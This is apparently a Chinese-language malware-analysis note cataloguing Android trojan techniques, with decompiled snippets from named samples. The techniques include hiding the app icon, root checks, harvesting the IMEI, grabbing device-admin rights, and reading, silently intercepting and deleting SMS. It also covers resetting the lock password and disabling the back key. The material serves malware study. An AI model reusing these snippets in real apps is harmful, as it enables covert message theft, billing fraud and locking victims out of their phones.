隐藏应用图标

扣费类应用:VT-Ubsod- 0e5b5fa86172554a3b9c5ebea668a39c649bf8c6badd4e12e1829f59993e1690

1
this.a.getPackageManager().setComponentEnabledSetting(new ComponentName("mob.wu.hece.fofocuwera", "mob.wu.hece.fofocuwera.vawogavovix"), 2, 1);

使用到的敏感 API 为:

1
public abstract void setComponentEnabledSetting (ComponentName componentName, int newState, int flags)
  • componentName:组件名称
  • newState:组件新的状态,可以设置三个值,分别是如下:
    • 默认状态:COMPONENT_ENABLED_STATE_DEFAULT
    • 显示应用图标:COMPONENT_ENABLED_STATE_ENABLED
    • 隐藏应用图标:COMPONENT_ENABLED_STATE_DISABLED
  • flags:行为标签,值可以是DONT_KILL_APP或者0。 0说明杀死包含该组件的app

设备是否 root

扣费类应用:VT-Ubsod- 0e5b5fa86172554a3b9c5ebea668a39c649bf8c6badd4e12e1829f59993e1690

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 方法一
if(v2_1 == 0) {
String[] v3 = new String[v6];
v3[0] = "/system/app/Superuser.apk";
v3[1] = "/sbin/su";
v3[2] = "/system/bin/su";
v3[3] = "/system/xbin/su";
v3[4] = "/data/local/xbin/su";
v3[5] = "/data/local/bin/su";
v3[6] = "/system/sd/xbin/su";
v3[7] = "/system/bin/failsafe/su";
v3[8] = "/data/local/su";
v3[9] = "/su/bin/su";
v2_1 = 0;
}
// 方法二
try {
v2 = Runtime.getRuntime().exec(new String[]{"/system/xbin/which", "su"});
}

1. 检查是否存在Superuser.apk

Superuser.apk 是一个被广泛使用的用来 root 安卓设备的软件,所以可以检查这个 app 是否存在。

1
2
3
4
5
6
7
8
9
10
public static boolean checkSuperuserApk(){
try {
File file = new File("/system/app/Superuser.apk");
if (file.exists()) {
Log.i(LOG_TAG,"/system/app/Superuser.apk exist");
return true;
}
} catch (Exception e) { }
return false;
}

2. 检查 su 命令

su 是 Linux 下切换用户的命令,在使用时不带参数,就是切换到超级用户。通常我们获取 root 权限,就是使用su命令来实现的,所以可以检查这个命令是否存在。

  • 检测在常用目录下是否存在 su,那么就有可能漏过不常用的目录。
  • 使用 which 命令查看是否存在 su,which 是 linux 下的一个命令,可以在系统 PATH 变量指定的路径中搜索某个系统命令的位置并且返回第一个搜索结果。
  • 执行su,看能否获取到root权限,但是在已经root的设备上,会弹出提示框,请求给app开启root权限。这个提示不太友好,可能用户会不喜欢。

收集、泄漏手机信息

扣费类应用:VT-Ubsod- 0e5b5fa86172554a3b9c5ebea668a39c649bf8c6badd4e12e1829f59993e1690

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static String a(Activity arg4) {
String v0_2;
Object v0 = arg4.getSystemService("phone");
try {
JSONObject v1 = new JSONObject();
v1.put("STREAM", "myandroid");
v1.put("VERSION", Build$VERSION.SDK_INT);
if(BaweqCenejaxe_关闭WIFI并打开移动数据网络.b != null) {
v1.put("ANDROID_ID", BaweqCenejaxe_关闭WIFI并打开移动数据网络.b);
}
if(arg4.getString(2131099669) != null) {
v1.put("APP_NAME", arg4.getString(2131099669));
}
if(Build.MODEL != null) {
v1.put("MODEL", Build.MODEL);
}
if(Build$VERSION.SDK_INT < 23 && ((TelephonyManager)v0).getDeviceId() != null) {
v1.put("IMEI", ((TelephonyManager)v0).getDeviceId());

v0_2 = v1.toString();
}

这类行为并不一定恶意行为,因为某些正常应用也会进行收集。

要获取手机硬件信息,首先获得 SystemServer

1
context.getSystemServer("phone");

然后利用 server 获取信息,重点在 SystemServer 以及一些固定 API,如 getDeviceId 等等。

申请设备管理器权限

拦截马类:0A2CA97D070A04AECB6EC9B1DA5CD987.apk

1
2
3
4
5
6
7
8
9
10
@TargetApi(value=8) private void a() {
Object v0 = this.getSystemService("device_policy"); // 获取安全管理服务
ComponentName v1 = new ComponentName(((Context)this), PAReceiver.class);
if(!((DevicePolicyManager)v0).isAdminActive(v1)) { // 若设备不具备设备管理权限,执行
Intent v0_1 = new Intent("android.app.action.ADD_DEVICE_ADMIN");
v0_1.putExtra("android.app.extra.DEVICE_ADMIN", ((Parcelable)v1));
v0_1.putExtra("android.app.extra.ADD_EXPLANATION", this.getResources().getString(2131034113));
this.startActivityForResult(v0_1, 1); // 添加隐式意图,获取管理员权限
}
}

发送短信

1
<uses-permission android:name="android.permission.SEND_SMS" />
1
2
3
4
5
6
7
8
9
10
PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(this.ctx, 0, new Intent("SMS_SENT"), 0);
PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(this.ctx, 0, new Intent("SMS_DELIVERED"), 0);
SmsManager localSmsManager = SmsManager.getDefault();
try {
localSmsManager.sendTextMessage(paramString1, null, paramString2, localPendingIntent1, localPendingIntent2);
return;
}
catch (Exception paramString) {
paramString.printStackTrace();
}

读取短信

申请权限:

1
2
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />

通过短信数据库获取短信内容,注册 SMS 监视器,监听短信数据库的变化,添加删除修改,变化的时候会回调 onChange 方法,提取刚刚变化的那条短信的内容。

1
v0.registerContentObserver(Uri.parse("content://sms"), true, this.f);  // 注册SMS监视器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public List a() {
ArrayList v6 = new ArrayList();
Cursor v0 = this.a.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "body", "date", "type"}, null, null, " date desc ");
while(v0.moveToNext()) {
e v1 = new e();
String v2 = v0.getString(0);
String v3 = v0.getString(1);
String v4 = v0.getString(2);
long v8 = v0.getLong(3);
String v5 = v0.getString(4);
String v7 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(v8));
v1.a(v2);
v1.c(v3);
v1.b(v4);
v1.d(v7);
v1.e(v5);
((List)v6).add(v1);
}

拦截短信

1
2
3
4
5
6
<receiver android:name="com.t20.receiver.SmsReceiver">
<intent-filter android:priority="1000" >
<!-- 有序广播设置优先级:priority表示优先级(0-1000),默认是500 ,1000的优先级最高-->
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.t20.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;

public class SmsReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
//1、接收短信协议
Bundle bundle= intent.getExtras(); //Bundle表示MAP套装(键值对)
//2、通过Bundle取值
Object[] objs= (Object[]) bundle.get("pdus");
for (Object obj : objs) {
//3、获取短信对象
SmsMessage sms=SmsMessage.createFromPdu((byte[])obj);
System.out.println("短信联系人:"+sms.getOriginatingAddress());
System.out.println("短信内容:"+sms.getDisplayMessageBody());
//4、短信拦截(收到短信时,系统会发一个有序广播,默认优先级是500,我们可以设置短信窃听器的广播优先级为1000)
if(sms.getOriginatingAddress().equals("110")){
abortBroadcast();//终止广播
}
}
}
}

设置为默认短信应用

通过 Telephony.Sms.getDefaultSmsPackage()方法来判断自己的应用是否为Default SMS app。

删除短信

1
getContentResolver().delete(Uri.parse("content://sms/sms_id"), null, null);

设置锁屏密码

继承 DeviceAdminReceiver,采用了系统的设备管理器来获取权限进而修改密码,使用 resetPassword 设置密码

屏蔽 back 键

1
2
3
public boolean onKeyDown(int arg2, KeyEvent arg3) {
return 1;
}

参考

Android 如何隐藏应用程序的图标

Android root检测方法小结